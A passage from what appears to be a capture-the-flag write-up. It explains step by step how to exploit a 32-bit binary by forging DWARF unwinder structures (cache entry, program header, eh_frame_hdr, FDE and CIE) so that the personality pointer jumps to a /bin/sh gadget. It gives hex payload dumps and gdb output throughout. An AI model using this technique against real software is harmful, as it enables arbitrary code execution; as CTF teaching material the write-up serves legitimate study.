    &lt;ul&gt;
      &lt;li&gt;&lt;strong&gt;cache_entry&lt;/strong&gt; (frame_hdr_cache_element)&lt;/li&gt;
      &lt;li&gt;&lt;strong&gt;p_eh_frame_hdr&lt;/strong&gt; (Elf32_Phdr)&lt;/li&gt;
      &lt;li&gt;&lt;strong&gt;hdr  &lt;/strong&gt;(unw_eh_frame_hdr)&lt;/li&gt;
      &lt;li&gt;&lt;strong&gt;table&lt;/strong&gt; (fde_table)&lt;/li&gt;
      &lt;li&gt;&lt;strong&gt;fde&lt;/strong&gt; (dwarf_fde)&lt;/li&gt;
      &lt;li&gt;&lt;strong&gt;cie&lt;/strong&gt; (dwarf_cide)&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;When creating a fake &lt;strong&gt;cie&lt;/strong&gt; struct, we make the personality function pointer &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x8048E97&lt;/code&gt;, where it does &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execlp(&quot;/bin/sh&quot;, &quot;/bin/sh&quot;, 0)&lt;/code&gt;, and get a shell!!&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Note that the some of the fields in structs are relative offsets, so we need to plan where to put things and link them correctly.&lt;/p&gt;

&lt;h3 id=&quot;trigger&quot;&gt;Trigger&lt;/h3&gt;

&lt;p&gt;Let’s start with a simple payload that would pass the check and trigger the bug.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;00000000  73 74 64 63 68 70 69 65  0a 41 01 b1 2e 40 41 41  |stdchpie.A...@AA|
00000010  41 41 41 41 41 41 41 41  41                       |AAAAAAAAA|
00000019
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;(gdb) r &amp;amp;lt; payload
Starting program: /tmp/.ppp/./membership &amp;amp;lt; trigger
userid :: password ::
Program received signal SIGSEGV, Segmentation fault.
0x08048e01 in ?? ()
(gdb) c
Continuing.
nested

Program received signal SIGSEGV, Segmentation fault.
0x08048cc5 in ?? ()
(gdb) c
Continuing.
nested

Program received signal SIGSEGV, Segmentation fault.
0x08048cc5 in ?? ()
(gdb) x/wx 0x402eb101
0x402eb101:     0x41414141
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As we can see in action, this payload triggers the bug and causes infinite SIGSEGV.
We currently chose 0x402eb101 for no particular reason, but we can see that memory is successfully written.&lt;/p&gt;

&lt;h3 id=&quot;cache_entry--p_eh_frame_hdr-construction&quot;&gt;cache_entry &amp;amp; p_eh_frame_hdr construction&lt;/h3&gt;

&lt;p&gt;Now, we overwrite &lt;strong&gt;frame_hdr_cache_head&lt;/strong&gt; to point to our &lt;strong&gt;stdin&lt;/strong&gt; buffer.&lt;/p&gt;

&lt;p&gt;We are going to start building fake structs from our &lt;strong&gt;buffer + 0x1c&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;So what values should we use?
To not worry about the search too much, we are going to set &lt;strong&gt;pc_low&lt;/strong&gt; to &lt;strong&gt;0x0&lt;/strong&gt; and &lt;strong&gt;pc_high&lt;/strong&gt; to &lt;strong&gt;0xFFFFFFFF&lt;/strong&gt;. This basically says that this cache entry should be used for any exception thrown in this range of addresses — so we’ll catch everything. Also, to make it easy to do math, we are going to make &lt;strong&gt;load_base&lt;/strong&gt; to &lt;strong&gt;**. Finally, we have to set **p_eh_frame_hdr&lt;/strong&gt; pointer to the fake &lt;strong&gt;Elf32_Phdr&lt;/strong&gt; struct. We will put this fake phdr struct right after our fake cache_entry struct that we are currently building. The rest of the fields are not really used (for our purpose), so we can put dummy values.&lt;/p&gt;

&lt;p&gt;This gives us this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;*frame_hdr_cache_head:
 | pc_low = 0x00000000
 | pc_high = 0xFFFFFFFF
 | load_base = 0x00000000
 | p_eh_frame_hdr = 0x40025034
 | p_dynamic = 0x43434343
 | link = 0x00000000
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For &lt;strong&gt;p_eh_frame_hdr&lt;/strong&gt; struct, we only care about &lt;strong&gt;p_vaddr&lt;/strong&gt; which is used to calculate &lt;strong&gt;hdr&lt;/strong&gt; (unw_eh_frame_hdr).&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;*p_eh_frame_hdr:
 | p_type = 0x6474e550
 | p_offset = 0x44444444
 | p_vaddr = 0x40025054
 | p_paddr = 0x45454545
 | p_filesz = 0x46464646
 | p_memsz = 0x47474747
 | p_flags = 0x48484848
 | p_align = 0x49494949
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s see in action.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;00000000  73 74 64 63 68 70 69 65  0a 41 18 b1 2e 40 1c 50  |stdchpie.A...@.P|
00000010  02 40 41 41 41 41 41 42  41 42 42 42 00 00 00 00  |.@AAAAABABBB....|
00000020  ff ff ff ff 00 00 00 00  34 50 02 40 43 43 43 43  |........4P.@CCCC|
00000030  00 00 00 00 50 e5 74 64  44 44 44 44 54 50 02 40  |....P.tdDDDDTP.@|
00000040  45 45 45 45 46 46 46 46  47 47 47 47 48 48 48 48  |EEEEFFFFGGGGHHHH|
00000050  49 49 49 49                                       |IIII|
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;Breakpoint 1, 0x0804901a in ?? ()
(gdb) x/20wx 0x402eb118
0x402eb118:     0x4002501c      0x00000000      0x402cf000      0x402e9038
0x402eb128:     0x402cf000      0x402cf0b4      0x402cf074      0x402eb168
0x402eb138:     0x401e5000      0x402c1086      0x401e5000      0x401e50d4
0x402eb148:     0x401e5074      0x402eb120      0x08048000      0x08049840
0x402eb158:     0x00000000      0x080480f4      0x080480b4      0x402eb138
(gdb) x/20wx 0x4002501c
0x4002501c:     0x00000000      0xffffffff      0x00000000      0x40025034
0x4002502c:     0x43434343      0x00000000      0x6474e550      0x44444444
0x4002503c:     0x40025054      0x45454545      0x46464646      0x47474747
0x4002504c:     0x48484848      0x49494949      0x00000000      0x00000000
0x4002505c:     0x00000000      0x00000000      0x00000000      0x00000000
(gdb) x/20wx 0x40025034
0x40025034:     0x6474e550      0x44444444      0x40025054      0x45454545
0x40025044:     0x46464646      0x47474747      0x48484848      0x49494949
0x40025054:     0x00000000      0x00000000      0x00000000      0x00000000
0x40025064:     0x00000000      0x00000000      0x00000000      0x00000000
0x40025074:     0x00000000      0x00000000      0x00000000      0x00000000
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So, this payload basically lets us to execute &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;goto found;&lt;/code&gt;  code (&lt;em&gt;unwind-dw2-fde-dip.c:225&lt;/em&gt;) since the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data-&amp;gt;pc&lt;/code&gt; will be in between &lt;strong&gt;pc_low&lt;/strong&gt; and &lt;strong&gt;pc_high&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Then, on line 315, &lt;strong&gt;hdr&lt;/strong&gt; is calculated by adding &lt;strong&gt;p_eh_frame_hdr-&amp;gt;p_vaddr&lt;/strong&gt; and &lt;strong&gt;load_base&lt;/strong&gt;, thus pointing &lt;strong&gt;0x40025054&lt;/strong&gt;.
Time to build a fake &lt;strong&gt;hdr&lt;/strong&gt; struct!&lt;/p&gt;

&lt;h3 id=&quot;hdr--table-construction&quot;&gt;hdr &amp;amp; table construction&lt;/h3&gt;

&lt;p&gt;Starting at +0x54 from our buffer comes the &lt;strong&gt;hdr&lt;/strong&gt; struct.
It’s a 4 byte struct and we fill in reasonable values here, according to the encoding scheme mentioned above.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;*hdr:
 | version = 0x01
 | eh_frame_ptr_enc = 0x1b (DW_EH_PE_pcrel | DW_EH_PE_sdata4)
 | fde_count_enc = 0x03 (DW_EH_PE_absptr | DW_EH_PE_udata4)
 | table_enc = 0x3b (DW_EH_PE_datarel | DW_EH_PE_sdata4)
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then, as we saw earlier, &lt;strong&gt;eh_frame&lt;/strong&gt; is read. Since the value is supposedly encoded with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(DW_EH_PE_pcrel | DW_EH_PE_sdata4)&lt;/code&gt;, this value in our data should be an offset from where the &lt;strong&gt;hdr&lt;/strong&gt; is. However, the value of &lt;strong&gt;eh_frame&lt;/strong&gt; isn’t really related to what we do, so we can put any value (&lt;strong&gt;read_encoded_value_with_base&lt;/strong&gt; actually does the calculation given the base to correctly compute eh_frame’s value).&lt;/p&gt;

&lt;p&gt;Ok, next check is the following:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;if (hdr-&amp;amp;gt;fde_count_enc != DW_EH_PE_omit
    &amp;amp;&amp;amp; hdr-&amp;amp;gt;table_enc == (DW_EH_PE_datarel | DW_EH_PE_sdata4))
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We have picked the values for encoding schems such that we satisfy both conditions.
Then, &lt;strong&gt;fde_count&lt;/strong&gt; is read.
Since we do not want to create more than one set of fake structs (to be searched with binary search later), we will force this to be 1.&lt;/p&gt;

&lt;p&gt;So with this data appended, we so far have this as our payload:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;00000000  73 74 64 63 68 70 69 65  0a 41 18 b1 2e 40 1c 50  |stdchpie.A...@.P|
00000010  02 40 41 41 41 41 41 42  41 42 42 42 00 00 00 00  |.@AAAAABABBB....|
00000020  ff ff ff ff 00 00 00 00  34 50 02 40 43 43 43 43  |........4P.@CCCC|
00000030  00 00 00 00 50 e5 74 64  44 44 44 44 54 50 02 40  |....P.tdDDDDTP.@|
00000040  45 45 45 45 46 46 46 46  47 47 47 47 48 48 48 48  |EEEEFFFFGGGGHHHH|
00000050  49 49 49 49 01 1b 03 3b  4a 4a 4a 4a 01 00 00 00  |IIII...;JJJJ....|
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then, the &lt;strong&gt;table&lt;/strong&gt; comes next. &lt;em&gt;fde_table&lt;/em&gt; struct has two fields: &lt;strong&gt;initial_loc&lt;/strong&gt; and &lt;strong&gt;fde&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;As mentioned earlier, in order for the search to succeed, we need to satisfy &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;table[mid].initial_loc + data_base &amp;lt;= data-&amp;gt;pc &amp;lt; table[mid].initial_loc + data_base + range&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Note that data_base is pointing at &lt;strong&gt;hdr&lt;/strong&gt; (&lt;strong&gt;0x40025054&lt;/strong&gt;). So we can set &lt;strong&gt;initial_loc&lt;/strong&gt; to &lt;strong&gt;0xBFFDAFAC&lt;/strong&gt; such that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;initial_loc + data_base == 0x40025054 + 0xBFFDAFAC  == 0x0&lt;/code&gt;.&lt;/p&gt;

&lt;table&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Also, the &lt;strong&gt;fde&lt;/strong&gt; field is actually an (signed) offset from &lt;strong&gt;hdr&lt;/strong&gt; — due to (DW_EH_PE_datarel&lt;/td&gt;
      &lt;td&gt;DW_EH_PE_sdata4) encoding. So, we set it to &lt;strong&gt;0x14&lt;/strong&gt; to indicate that our fake &lt;strong&gt;dwarf_fde&lt;/strong&gt; struct will be located at &lt;strong&gt;0x40025068&lt;/strong&gt;.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Fake &lt;strong&gt;hdr&lt;/strong&gt; and &lt;strong&gt;table&lt;/strong&gt; construction is done, and we now have this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;00000000  73 74 64 63 68 70 69 65  0a 41 18 b1 2e 40 1c 50  |stdchpie.A...@.P|
00000010  02 40 41 41 41 41 41 42  41 42 42 42 00 00 00 00  |.@AAAAABABBB....|
00000020  ff ff ff ff 00 00 00 00  34 50 02 40 43 43 43 43  |........4P.@CCCC|
00000030  00 00 00 00 50 e5 74 64  44 44 44 44 54 50 02 40  |....P.tdDDDDTP.@|
00000040  45 45 45 45 46 46 46 46  47 47 47 47 48 48 48 48  |EEEEFFFFGGGGHHHH|
00000050  49 49 49 49 01 1b 03 3b  4a 4a 4a 4a 01 00 00 00  |IIII...;JJJJ....|
00000060  ac af fd bf 14 00 00 00                           |........|
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The current payload, when fed to the program, will result in a crash since it will read an invalid value for the range.
To make &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data-&amp;gt;pc &amp;lt; initial_loc + data_base + range&lt;/code&gt;  true, we need to construct a fake &lt;strong&gt;dwarf_fde&lt;/strong&gt; now.&lt;/p&gt;

&lt;h3 id=&quot;fde--cie-construction&quot;&gt;fde &amp;amp; cie construction&lt;/h3&gt;

&lt;p&gt;As a final step, we are going to construct &lt;strong&gt;fde&lt;/strong&gt; and &lt;strong&gt;cie&lt;/strong&gt; records in our payload.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;dwarf_fde&lt;/strong&gt; struct has &lt;strong&gt;length&lt;/strong&gt;, &lt;strong&gt;CIE_delta&lt;/strong&gt;, and &lt;strong&gt;pc_begin&lt;/strong&gt; fields (followed by &lt;em&gt;fde_augmentation length&lt;/em&gt;, which should be 0).&lt;/p&gt;

&lt;p&gt;We are going to make the &lt;strong&gt;length&lt;/strong&gt; &lt;strong&gt;0x1C&lt;/strong&gt;, and &lt;strong&gt;CIE_delta&lt;/strong&gt; to &lt;strong&gt;0xFFFFFFE4&lt;/strong&gt; (such that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;amp;CIE_delta &amp;amp;mdash; CIE_delta == 0x40025088&lt;/code&gt; — this will be explained later). We will set &lt;strong&gt;pc_begin&lt;/strong&gt; to 0x0 (doesn’t really matter what we put here).&lt;/p&gt;

&lt;p&gt;What comes after &lt;strong&gt;pc_begin&lt;/strong&gt; is the &lt;strong&gt;range&lt;/strong&gt;. To explain a little bit, on line 412 in &lt;em&gt;unwind-dw2-fde-dip.c&lt;/em&gt;, &lt;strong&gt;range&lt;/strong&gt; is read from** f-&amp;gt;pc_begin[f_enc_size]** where &lt;strong&gt;f_enc_size&lt;/strong&gt; is &lt;strong&gt;4&lt;/strong&gt;, making the 4 byte right after &lt;strong&gt;pc_begin&lt;/strong&gt; be the &lt;strong&gt;range&lt;/strong&gt;. Since we made the &lt;strong&gt;init_loc&lt;/strong&gt; to be &lt;strong&gt;0x0&lt;/strong&gt;, we will make the &lt;strong&gt;range&lt;/strong&gt; to be &lt;strong&gt;0xFFFFFFFF&lt;/strong&gt;. Then, we pad the last few bytes (so, technically we can fix the length, but that’s what we used during the competition).&lt;/p&gt;

&lt;p&gt;This yields our payload to be:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;00000000  73 74 64 63 68 70 69 65  0a 41 18 b1 2e 40 1c 50  |stdchpie.A...@.P|
00000010  02 40 41 41 41 41 41 42  41 42 42 42 00 00 00 00  |.@AAAAABABBB....|
00000020  ff ff ff ff 00 00 00 00  34 50 02 40 43 43 43 43  |........4P.@CCCC|
00000030  00 00 00 00 50 e5 74 64  44 44 44 44 54 50 02 40  |....P.tdDDDDTP.@|
00000040  45 45 45 45 46 46 46 46  47 47 47 47 48 48 48 48  |EEEEFFFFGGGGHHHH|
00000050  49 49 49 49 01 1b 03 3b  14 00 00 00 01 00 00 00  |IIII...;........|
00000060  ac af fd bf 14 00 00 00  1c 00 00 00 e4 ff ff ff  |................|
00000070  00 00 00 00 ff ff ff ff  00 00 00 00 00 00 00 00  |................|
00000080  00 00 00 00 00 00 00 00                           |........|
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We are almost there!!!&lt;/p&gt;

&lt;p&gt;Above payload will result in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data-&amp;gt;ret&lt;/code&gt; to contain a pointer to our FDE struct and return to &lt;strong&gt;_Unwind_Find_FDE&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;In &lt;strong&gt;_Unwind_Find_FDE&lt;/strong&gt;, nothing interesting happens, and the same (a pointer to our fake FDE struct) is returned.&lt;/p&gt;

&lt;p&gt;We are now back to &lt;strong&gt;uw_frame_state_for&lt;/strong&gt; function (line 1180 in &lt;em&gt;unwind-dw2.c&lt;/em&gt;). Since &lt;strong&gt;fde&lt;/strong&gt; is not null, &lt;strong&gt;extract_cie_info&lt;/strong&gt; is called with the &lt;strong&gt;cie&lt;/strong&gt; pointer that is based on our &lt;strong&gt;fde&lt;/strong&gt;.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;1195
1196   cie = get_cie (fde);
1197   insn = extract_cie_info (cie, context, fs);
1198   if (insn == NULL)
1199     /* CIE contained unknown augmentation.  */
1200     return _URC_FATAL_PHASE1_ERROR;
1201
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;/* Locate the CIE for a given FDE.  */

static inline const struct dwarf_cie *
get_cie (const struct dwarf_fde *f)
{
  return (const void *)&amp;amp;f-&amp;amp;gt;CIE_delta - f-&amp;amp;gt;CIE_delta;
}
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Looking at the &lt;strong&gt;get_cie&lt;/strong&gt; function, we can see why we put &lt;strong&gt;0xFFFFFFE4&lt;/strong&gt; for &lt;strong&gt;CIE_delta&lt;/strong&gt; value in our FDE struct. With our setup, &lt;strong&gt;get_cie&lt;/strong&gt; will return the CIE struct’s address, which will be right after our fake FDE struct (aka 0x40025088).&lt;/p&gt;

&lt;p&gt;Now, we have 1 final function that we need to understand: &lt;strong&gt;extract_cie_info&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;This function is mostly parsing stuff and filling in the &lt;em&gt;_Unwind_Frame_State&lt;/em&gt; data based on the CIE record.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;dwarf_cie&lt;/strong&gt; struct has &lt;strong&gt;length&lt;/strong&gt;, &lt;strong&gt;CIE_id&lt;/strong&gt;, &lt;strong&gt;version&lt;/strong&gt;, and &lt;strong&gt;augmentation&lt;/strong&gt; — and depending on augmentation content, more data follows.&lt;/p&gt;

&lt;p&gt;Here’s the values we set for our fake CIE struct:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;*cie:
 | length = 0x1c
 | CIE_id = 0x0
 | version = 0x1
 | augmentation = 0x7a(z) 0x50(P) 0x4c(L) 0x52(R) 0x00(\0)
 - code_alignment = 0x01 (byte)
 - data_alignment = 0x7c (byte)
 - return_addr_col = 0x08 (byte)
 - augmentation_len = 0x07 (byte)
 - personality_enc = 0x00 (byte)
 - personality_ptr = 0x41424344 (4 bytes)
 - LSDA encoding = 0x00 (byte)
 - FDE_encoding = 0x1b (DW_EH_PE_pcrel | DW_EH_PE_sdata4)
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Data that follows after augmentation string (code_alignment, data_alignment, return_addr_col) are read in first.
We chose these values just because we saw these in normal CIE struct, but it shouldn’t matter what the values are.&lt;/p&gt;

&lt;p&gt;Then, the rest of the data is parsed as augmentation contents (aka ‘zPLR’).&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;If the first byte is ‘z’, it sets &lt;span class=&quot;lang:default decode:true  crayon-inline &quot;&gt;fs-&amp;gt;saw_z flag&lt;/span&gt;  and note that the length of the extra augmentation data (which follows the length itself) is &lt;strong&gt;0x07&lt;/strong&gt;.&lt;/li&gt;
  &lt;li&gt;‘P’ indicates a personality routine  is specified in CIE (extra) augmentation, and basically read the &lt;strong&gt;personality_ptr&lt;/strong&gt; value (4-byte) based on the &lt;strong&gt;personality_enc&lt;/strong&gt; encoding scheme — which we set as 0x0 to make it absptr type.&lt;/li&gt;
  &lt;li&gt;‘L’ indicates a byte showing how the LSDA pointer is encoded. No idea what that is, but it’s not relevant — we put 0x0.&lt;/li&gt;
  &lt;li&gt;‘R’ indicates a byte indicating how FDE addresses are encoded. We put some sane value that we saw earlier, but shouldn’t matter either.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Alright, now with some padding bytes to make the total length &lt;strong&gt;0x1c&lt;/strong&gt;, we are set.&lt;/p&gt;

&lt;p&gt;Thus far, we have built the following payload:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;00000000  73 74 64 63 68 70 69 65  0a 41 18 b1 2e 40 1c 50  |stdchpie.A...@.P|
00000010  02 40 41 41 41 41 41 42  41 42 42 42 00 00 00 00  |.@AAAAABABBB....|
